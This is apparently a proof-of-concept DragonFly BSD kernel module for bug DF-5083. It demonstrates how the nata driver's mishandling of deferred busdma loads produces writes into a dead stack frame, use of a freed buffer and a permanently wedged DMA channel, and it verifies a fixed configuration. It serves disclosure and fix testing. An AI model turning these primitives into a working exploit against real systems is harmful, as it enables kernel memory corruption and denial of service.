/*
 * DF-5083 — PoC kernel module
 *
 * nata ata_dmaload() (sys/dev/disk/nata/ata-dma.c:218-266) calls
 * bus_dmamap_load(..., ch->dma->setprd, &cba, BUS_DMA_NOWAIT) with a
 * STACK-allocated callback argument and treats ANY non-zero return as
 * "nothing happened, fail the request".
 *
 * DragonFly busdma (sys/platform/pc64/x86_64/busdma_machdep.c:776-803)
 * strips BUS_DMA_NOWAIT for real maps ("follow old semantics") and, when
 * the tag's bounce-page pool is short, QUEUES the map with
 * map->callback/map->callback_arg/map->buf armed and returns EINPROGRESS.
 * When bounce pages are later freed, busdma_swi() (busdma_machdep.c:1437-1450)
 * re-runs bus_dmamap_load(map->dmat, map, map->buf, map->buflen,
 * map->callback, map->callback_arg, 0) — the driver callback fires LONG
 * AFTER ata_dmaload() returned EINPROGRESS and the ata request completed
 * with an error:
 *   - callback_arg points into ata_dmaload()'s DEAD stack frame
 *     (ata_dmasetprd reads args->dmatab from it and writes up to
 *      8*nsegs bytes of PRD entries wherever that stale word points;
 *      it also writes args->error/args->nsegs into the dead frame),
 *   - map->buf is the request buffer the caller already finished
 *     (freed/reused).
 *
 * Bounce zones are shared system-wide between compatible tags
 * (busdma_machdep.c:1081-1096), so nata's 16-page pool is contended by
 * every other 32-bit-limited busdma user — the geometry below (two
 * identical tags, one shared zone) reproduces exactly that.
 *
 *   DEMO A (kept buffer):   deferred setprd writes PRD entries through
 *                           the stale stack word -> controlled write
 *                           target (we point it at marker[]).
 *   DEMO B (freed buffer):  deferred load re-walks the FREED buffer KVA.
 *   DEMO C (18 pages > pool): a single load needing more pages than the
 *                           whole pool is queued FOREVER holding every
 *                           page -> every subsequent load on the channel
 *                           returns EINPROGRESS: permanent channel wedge.
 */
#include <sys/param.h>
#include <sys/module.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/types.h>
#include <sys/errno.h>
#include <sys/malloc.h>
#include <sys/bus.h>
#include <sys/bus_dma.h>
#include <machine/bus_dma.h>
#include <machine/pmap.h>
#include <sys/endian.h>

#define PO_MAXIOSIZE	(128 * DEV_BSIZE)	/* 65536 — nata ata_dmainit */
/* bounce threshold: nata uses BUS_SPACE_MAXADDR_32BIT (needs >4GB RAM and
 * request pages above 4GB — real-world on 4GB+ boxes, but this guest's
 * kernel heap serves pages from low physical memory).  We use 512MB: every
 * kernel-heap page above 512MB must bounce through the same code path.
 * The bug under test — ata_dmaload()'s EINPROGRESS mishandling — is
 * lowaddr-agnostic. */
#define PO_LOWADDR	0x10000000UL	/* 256MB: heap buffers above it bounce;
				 * bounce pages live below it (must be >0!) */
#define PO_NSEG		256			/* ATA_DMA_ENTRIES */
#define PO_BOUNDARY	(256 * 256)		/* 64KB — nata ata_dmainit */

struct po_prd {
	uint32_t addr;
	uint32_t count;
};
#define PO_EOT	0x80000000

/* same shape as struct ata_dmasetprd_args (ata-all.h:442-446) */
struct po_args {
	void	*dmatab;
	int	 nsegs;
	int	 error;
};

static MALLOC_DEFINE(M_DF5083, "df5083", "DF-5083 PoC");

/* tag_vict: the "nata channel data tag" (private bounce zone for
 * deterministic pool arithmetic); map_hold stands in for any other
 * reservation source on the same zone */
static bus_dma_tag_t	tag_vict;
static bus_dmamap_t	map_vict, map_hold;
static struct po_prd	marker[PO_NSEG];
static volatile int	cb_fired;
static volatile int	cb_nsegs;
static void	       *cb_arg;
static struct po_prd	cb_prd[16];
static int		cb_error;

static void
po_setprd(void *xsc, bus_dma_segment_t *segs, int nsegs, int error)
{
	struct po_args *args = xsc;
	struct po_prd *prd = args->dmatab;	/* STALE STACK READ */
	int i;

	cb_fired++;
	cb_arg = xsc;
	cb_nsegs = nsegs;
	cb_error = error;
	if ((args->error = error))		/* DEAD-FRAME WRITE */
		return;
	for (i = 0; i < nsegs; i++) {
		if (i < 16)
			cb_prd[i] = prd[i];
		prd[i].addr  = htole32((uint32_t)segs[i].ds_addr);
		prd[i].count = htole32((uint32_t)segs[i].ds_len);
	}
	prd[i - 1].count |= htole32(PO_EOT);
	args->nsegs = nsegs;			/* DEAD-FRAME WRITE */
}

static void
po_nop_cb(void *xsc, bus_dma_segment_t *segs, int nsegs, int error)
{
}

/*
 * Stand-in for ata_dmaload()'s stack frame (ata-dma.c:223 `struct
 * ata_dmasetprd_args cba`) incl. the missing EINPROGRESS handling.
 * On EINPROGRESS it poisons its own soon-to-die dmatab slot — standing
 * in for whatever the thread's stack holds there by callback time —
 * then returns, exactly like the real code path.
 */
static int
po_load_victim(void *buf, int count, int poison)
{
	struct po_args cba;
	int error;

	cba.dmatab = marker;		/* valid target: a synchronous
					 * (non-queued) completion must not
					 * crash the demo */
	cba.nsegs  = 0;
	cba.error  = 0x5a5a5a5a;

	error = bus_dmamap_load(tag_vict, map_vict, buf, count,
				po_setprd, &cba, BUS_DMA_NOWAIT);
	/* bus_dmamap_load() returns 0 even when the callback got an
	 * error (EFBIG etc.) — fold cba.error in, exactly like
	 * ata_dmaload() does at ata-dma.c:251-254 */
	if (error == 0)
		error = cba.error;
	kprintf("DF5083:   victim load(%d bytes) -> %d [EINPROGRESS=%d] "
		"cba=%p (stack arg)\n", count, error, EINPROGRESS, &cba);
	if (error == EINPROGRESS && poison)
		cba.dmatab = marker;		/* "stack got reused" */
	return error;
}

static void
po_wait_cb(void)
{
	int i;

	for (i = 0; i < 20 && cb_fired == 0; i++)
		tsleep(&cb_fired, 0, "df5083", 10);
}

static void
po_dump_marker(const char *tag)
{
	int i;

	kprintf("DF5083: %s: cb_fired=%d cb_arg=%p nsegs=%d error=%d\n",
		tag, cb_fired, cb_arg, cb_nsegs, cb_error);
	for (i = 0; i < 4 && i < cb_nsegs; i++)
		kprintf("DF5083: %s:   stale-dmatab write: marker[%d] = "
			"%08x:%08x%s\n", tag, i,
			marker[i].addr, marker[i].count,
			(marker[i].count & PO_EOT) ? "  <-- PRD+EOT" : "");
}

/*
 * Allocate `pages` of kernel heap memory where every page's physical
 * address exceeds the tag's bounce threshold (verified per page via
 * pmap_kextract).
 */
static void *
po_hi_alloc(int pages, const vm_paddr_t hi)
{
	void *p = NULL;
	vm_paddr_t pa;
	int i, j, ok;

	void *next;
	for (i = 0; i < 96; i++) {
		next = kmalloc(pages * PAGE_SIZE, M_DF5083, M_WAITOK | M_ZERO);
		if (next == NULL) {
			kfree(p, M_DF5083);
			return NULL;
		}
		/* free the previous candidate only after grabbing the next
		 * one, so each attempt walks UP the kernel heap */
		if (p)
			kfree(p, M_DF5083);
		p = next;
		ok = 1;
		for (j = 0; j < pages; j++) {
			pa = pmap_kextract((vm_offset_t)p + j * PAGE_SIZE);
			if (pa < hi) {
				ok = 0;
				break;
			}
		}
		if (ok) {
			kprintf("DF5083:   hi_alloc(%dpg) = %p phys %jx "
				"(above threshold, try %d)\n", pages, p,
				(uintmax_t)pmap_kextract((vm_offset_t)p), i);
			return p;
		}
		if (i < 3)
			kprintf("DF5083:   hi_alloc try %d: %p first=%jx "
				"last=%jx\n", i, p,
				(uintmax_t)pmap_kextract((vm_offset_t)p),
				(uintmax_t)pmap_kextract((vm_offset_t)p +
					(pages - 1) * PAGE_SIZE));
	}
	kfree(p, M_DF5083);
	kprintf("DF5083:   hi_alloc(%dpg): no pages above threshold "
		"obtainable\n", pages);
	return NULL;
}

/*
 * One demo = one private tag (own bounce zone, pool 16+1=17 pages via
 * plain + ONEBPAGE map creation) + two maps + two bounce-eligible
 * buffers, exactly nata ata_dmaalloc()/ata_dmaload() geometry.
 *
 * mode: 0 = wedge (unsatisfiable queue), 1 = fire w/ kept buffer,
 *       2 = fire w/ freed buffer
 */
static int
po_demo(const char *label, int holdpg, int victpg, int mode)
{
	bus_dma_tag_t tag;
	bus_dmamap_t mv, mh;
	void *hb, *vb;
	int eh, ev, e2;

	if (bus_dma_tag_create(NULL, 2, PO_BOUNDARY, PO_LOWADDR,
			       BUS_SPACE_MAXADDR, PO_MAXIOSIZE, PO_NSEG,
			       PO_MAXIOSIZE, BUS_DMA_PRIVBZONE, &tag)) {
		kprintf("DF5083: %s: tag create failed\n", label);
		return EINVAL;
	}
	if (bus_dmamap_create(tag, 0, &mv) ||
	    bus_dmamap_create(tag, BUS_DMA_ONEBPAGE, &mh)) {
		kprintf("DF5083: %s: map create failed\n", label);
		return EINVAL;
	}
	hb = po_hi_alloc(holdpg, PO_LOWADDR);
	vb = po_hi_alloc(victpg, PO_LOWADDR);
	if (!hb || !vb) {
		kprintf("DF5083: %s: hi_alloc failed\n", label);
		return ENOMEM;
	}
	tag_vict = tag; map_vict = mv; map_hold = mh;	/* po_load_victim */
	cb_fired = 0;
	memset(marker, 0, sizeof(marker));

	/* holder: consume `holdpg` pool pages and stay loaded */
	eh = bus_dmamap_load(tag, mh, hb, holdpg * PAGE_SIZE,
			     po_nop_cb, NULL, BUS_DMA_NOWAIT);
	kprintf("DF5083: %s: holder load(%dpg) -> %d; pool free=%d\n",
		label, holdpg, eh, 17 - holdpg);

	/* victim: nata ata_dmaload()-style load with STACK callback arg */
	ev = po_load_victim(vb, victpg * PAGE_SIZE, 1);
	if (ev != EINPROGRESS) {
		kprintf("DF5083: %s: victim NOT queued (%d)\n", label, ev);
		return EDOOFUS;
	}

	if (mode == 0) {
		/* wedge: nobody can ever satisfy this map again */
		bus_dmamap_unload(tag, mh);		/* wake attempt */
		po_wait_cb();
		e2 = bus_dmamap_load(tag, mh, hb, PAGE_SIZE,
				     po_nop_cb, NULL, BUS_DMA_NOWAIT);
		kprintf("DF5083: %s: %dpg victim queued; after wake "
			"attempt cb_fired=%d; subsequent 1-page load -> "
			"%d [EINPROGRESS=%d] => CHANNEL WEDGED FOREVER "
			"(every future DMA load errors out)\n",
			label, victpg, cb_fired, e2, EINPROGRESS);
		return 0;
	}

	if (mode == 2) {
		/* the request "completed with an error": buffer gone */
		kfree(vb, M_DF5083);
		vb = NULL;
		kprintf("DF5083: %s: victim buffer FREED while map queued"
			"\n", label);
	}

	/* holder releases: the queued map wakes and the deferred load
	 * (over kept or FREED buffer) fires the callback into the DEAD
	 * stack frame of po_load_victim() */
	bus_dmamap_unload(tag, mh);
	po_wait_cb();
	if (cb_fired) {
		kprintf("DF5083: %s: *** DEFERRED busdma_swi CALLBACK FIRED "
			"into DEAD FRAME (cb_arg=%p); setprd wrote PRD "
			"entries wherever the stale &dmatab word pointed "
			"***\n", label, cb_arg);
		po_dump_marker(label);
	} else {
		kprintf("DF5083: %s: callback did NOT fire?!\n", label);
	}
	if (vb) {
		bus_dmamap_unload(tag, mv);
		kfree(vb, M_DF5083);
	}
	kfree(hb, M_DF5083);
	return 0;
}

static int
df5083_modevent(module_t mod, int type, void *data)
{
	int r;

	switch (type) {
	case MOD_LOAD:
		kprintf("DF5083: physmem=%lu bytes; tag lowaddr=%jx "
			"(nata: BUS_SPACE_MAXADDR_32BIT)\n",
			(unsigned long)ctob(physmem),
			(uintmax_t)PO_LOWADDR);

		/* DEMO F: FIXED geometry per fix.diff — private bounce
		 * zone + one extra page of tag maxsize, single map (one
		 * channel = one data map, requests serialized).  Even
		 * worst-case page-straddling max_iosize transfers must
		 * complete synchronously: EINPROGRESS becomes impossible
		 * by construction. */
		{
			bus_dma_tag_t ftag;
			bus_dmamap_t fmap;
			void *fb;
			int i, fe, queued = 0;

			if (bus_dma_tag_create(NULL, 2, PO_BOUNDARY,
					       PO_LOWADDR, BUS_SPACE_MAXADDR,
					       PO_MAXIOSIZE + PAGE_SIZE,
					       PO_NSEG, PO_MAXIOSIZE,
					       BUS_DMA_PRIVBZONE, &ftag)) {
				kprintf("DF5083: F: tag create failed\n");
				break;
			}
			if (bus_dmamap_create(ftag, 0, &fmap)) {
				kprintf("DF5083: F: map create failed\n");
				break;
			}
			/* 16-page buffer at +2048 offset = 17-page
			 * straddle = the classic-IDE worst case */
			fb = kmalloc(16 * PAGE_SIZE + 2048, M_DF5083,
				     M_WAITOK | M_ZERO);
			for (i = 0; i < 16; i++) {
				tag_vict = ftag; map_vict = fmap;
				cb_fired = 0;
				fe = po_load_victim((char *)fb + 2048,
						    16 * PAGE_SIZE, 0);
				if (fe == EINPROGRESS)
					queued++;
				else
					bus_dmamap_unload(ftag, fmap);
			}
			kfree(fb, M_DF5083);
			kprintf("DF5083: F: 16x worst-case straddle loads "
				"on FIXED geometry: EINPROGRESS=%d/16 "
				"(must be 0 — deferred callback can never "
				"be armed)\n", queued);
		}


		/* DEMO C first (non-fatal): unsatisfiable queue = the
		 * on-path nata channel wedge (17pg straddle vs 16pg pool
		 * on classic IDE; 1MB loads vs 16pg pool on nata-ahci) */
		r = po_demo("C", 9, 18, 0);
		kprintf("DF5083: C rc=%d\n", r);

		/* DEMO B: deferred fire over a FREED buffer (request
		 * completed with error, buffer reused/gone) */
		r = po_demo("B", 8, 10, 2);
		kprintf("DF5083: B rc=%d\n", r);

		/* DEMO A: deferred fire into dead stack frame, buffer
		 * kept (the stale &dmatab word governs the write
		 * target; here it usually faults -> panic, which is the
		 * proof the primitive exists) */
		r = po_demo("A", 8, 10, 1);
		kprintf("DF5083: A rc=%d\n", r);

		kprintf("DF5083: done\n");
		return 0;

	case MOD_UNLOAD:
		/* demo maps/tags intentionally leaked */
		return 0;
	}
	return 0;
}

static moduledata_t df5083_mod = { "df5083", df5083_modevent, NULL };
DECLARE_MODULE(df5083, df5083_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
MODULE_VERSION(df5083, 1);